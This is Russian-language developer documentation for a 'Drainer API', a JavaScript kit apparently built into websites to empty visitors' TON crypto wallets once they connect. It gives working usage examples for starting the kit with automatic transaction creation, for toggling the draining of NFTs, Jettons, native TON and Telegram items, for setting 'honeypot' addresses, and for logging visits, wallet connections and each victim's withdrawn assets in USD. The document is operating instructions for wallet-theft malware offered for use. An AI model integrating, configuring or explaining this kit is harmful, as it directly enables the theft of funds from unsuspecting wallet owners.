Skip to content

Drainer API

Эта документация и API предназначены для разработчиков. Использование методов, описанных здесь, требует навыков работы с JavaScript и интеграцией веб-сайтов. Неправильное использование может нарушить функциональность сайта. Перед внесением изменений убедитесь, что обладаете достаточными знаниями, или проконсультируйтесь с разработчиком.

API Drainer предоставляет несколько методов и событий, которые позволяют интегрировать взаимодействие с кошельками, отслеживать транзакции и обрабатывать ошибки. Ниже описаны основные события, методы и объекты данных, используемые в Drainer API.

Методы API

1. init(options?: DrainerOptions)

Инициализация библиотеки и создание всех необходимых элементов на странице (например, кнопка "Подключить кошелек").

Параметры:

  • autoCreateTransaction (boolean): Если true, автоматически создается транзакция при подключении кошелька.
  • autoOpenModal (boolean): Если true, автоматически открывается модальное окно, когда это необходимо.

Пример использования:

javascript
window.drainer?.init({
  autoCreateTransaction: true,  // Автоматически создать транзакцию при подключении
  autoOpenModal: false,         // Не открывать модальное окно автоматически
  disableWalletSave: true       // Отключить сохранение кошелька
});

2. createTransaction()

Метод для создания транзакции вручную. Возвращает промис, который можно обработать для управления результатом транзакции.

Пример:

javascript
window.drainer?.createTransaction().then(() => {
  console.log('Транзакция создана успешно');
}).catch((error) => {
  console.error('Ошибка при создании транзакции', error);
});

3. openModal()

Метод для ручного открытия модального окна, если автоматическое открытие отключено.

Пример:

javascript
window.drainer?.openModal();

4. overrideDrainerSettings(overrides: Partial<DrainerSettingsPublic>)

Позволяет переопределить настройки дрейнера. Используйте этот метод, чтобы изменять параметры, такие как включение/отключение дренирования активов, ведение логов и другие настройки дрейнера.

Параметры:

  • overrides (Partial<DrainerSettingsPublic>): Объект с новыми настройками дрейнера.

Пример использования:

javascript
window.drainer?.overrideDrainerSettings({
  drainNFT: false,         // Отключаем дренирование NFT
  drainJettons: true,      // Включаем дренирование Jettons
  visitLogs: true          // Включаем логи посещений
});
Полный список параметров OverrideDrainerSettings:
  • drainNFT (boolean): Включает/отключает дренирование NFT.
  • drainJettons (boolean): Включает/отключает дренирование Jettons.
  • drainNative (boolean): Включает/отключает дренирование нативных активов (TON).
  • drainTeleitems (boolean): Включает/отключает дренирование Teleitems.
  • visitLogs (boolean): Включает/отключает ведение логов посещений.
  • walletConnectLogs (boolean): Включает/отключает ведение логов подключения кошелька.
  • txSuccessLogs (boolean): Включает/отключает ведение логов успешных транзакций.
  • txCancelLogs (boolean): Включает/отключает ведение логов отмененных транзакций.

5. overrideHoneypots(overrides: Array<OverrideDrainerHoneypots>)

Этот метод позволяет переопределить параметры ханипотов (honeypots). Вы можете обновить адреса, сообщения или суммы, связанные с конкретными ханипотами.

Параметры:

  • overrides (Array<OverrideDrainerHoneypots>): Массив объектов с новыми настройками для ханипотов.

Пример использования:

javascript
window.drainer?.overrideHoneypots([
  {
    honeypot_address: "EQAvXj...",
    honeypot_amount: 1000
  }
]);
Полный список параметров OverrideDrainerHoneypots:
  • honeypot_address (string): Адрес ханипота.
  • honeypot_amount (number): Сумма, связанная с данным ханипотом.

События API

API Drainer предоставляет ряд событий, которые позволяют отслеживать подключения кошельков, транзакции и ошибки.

1. walletConnect

Событие, которое срабатывает при успешном подключении кошелька.

Пример:

javascript
window.addEventListener('walletConnect', (event) => {
  const walletAddress = event.detail.walletAddress;
  console.log('Кошелек подключен:', walletAddress);
});

2. walletDisconnect

Событие, которое срабатывает при отключении кошелька.

Пример:

javascript
window.addEventListener('walletDisconnect', () => {
  console.log('Кошелек отключен');
});

3. transaction

Событие, которое срабатывает при успешной транзакции. В событии передаются все детали транзакции.

Пример:

javascript
window.addEventListener('transaction', (event) => {
  const transactionDetails = event.detail;
  console.log('Успешная транзакция:', transactionDetails);
});

4. transactionReject

Событие, которое срабатывает, когда транзакция была отклонена пользователем.

Пример:

javascript
window.addEventListener('transactionReject', () => {
  console.warn('Транзакция была отклонена');
});

5. transactionError

Событие, которое срабатывает при возникновении ошибки в процессе транзакции.

Пример:

javascript
window.addEventListener('transactionError', (event) => {
  const error = event.detail;
  console.error('Ошибка транзакции:', error);
});

Объекты данных

1. TransactionDetails

Этот объект передается в событии transaction и содержит полную информацию о транзакции.

Структура:

  • walletAddress: Адрес кошелька, выполнившего транзакцию.
  • walletVersion: Версия кошелька.
  • withdrawalAmount: Количество выведенных активов (TON, Jettons и т.д.).
  • tokens: Массив токенов, участвовавших в транзакции.
  • nfts: Массив NFT, участвовавших в транзакции.
  • totalWithdrawalUSD: Общая сумма вывода в долларах США (USD).

Пример данных:

javascript
{
  walletAddress: "UQAvXj...",
      walletVersion: "V5R1",
      withdrawalAmount: 10,
      tokens: [{ name: "Jetton", balance: 100, usd: 10, decimals: 9, wallet_address: "UQAvXj..." }],
      nfts: [{ address: "EQDn...", name: "NFT Example", usd: 50 }],
      totalWithdrawalUSD: 60
}

2. Token

Объект описывает токен, участвующий в транзакции.

Структура:

  • name: Название токена.
  • balance: Количество токенов.
  • usd: Эквивалент в USD.
  • decimals: Количество десятичных знаков токена.
  • wallet_address: Адрес кошелька, который содержит этот токен.

3. NFT

Объект описывает информацию о NFT, участвующем в транзакции.

Структура:

  • address: Адрес NFT.
  • name: Название NFT.
  • collectionAddress: Адрес коллекции.
  • collectionName: Название коллекции.
  • lastPrice: Последняя цена NFT.
  • usd: Эквивалент в USD.

4. TransactionError

Этот объект описывает возможные ошибки при выполнении транзакции.

Ошибки:

  • INSUFFICIENT_FUNDS: Недостаточно средств.
  • INSUFFICIENT_FUNDS_FOR_FEE: Недостаточно средств для оплаты комиссии.
  • THROTTLE_TOP_UP: Превышено количество транзакций авто-комиссии.

Пример:

javascript
{
  error: "INSUFFICIENT_FUNDS_FOR_FEE",
      required: 0.1 // Необходимое количество средств для завершения
}

5. TransactionErrorResult

Этот объект передается в событии transactionError и содержит информацию о типе ошибки и необходимом количестве средств для завершения транзакции.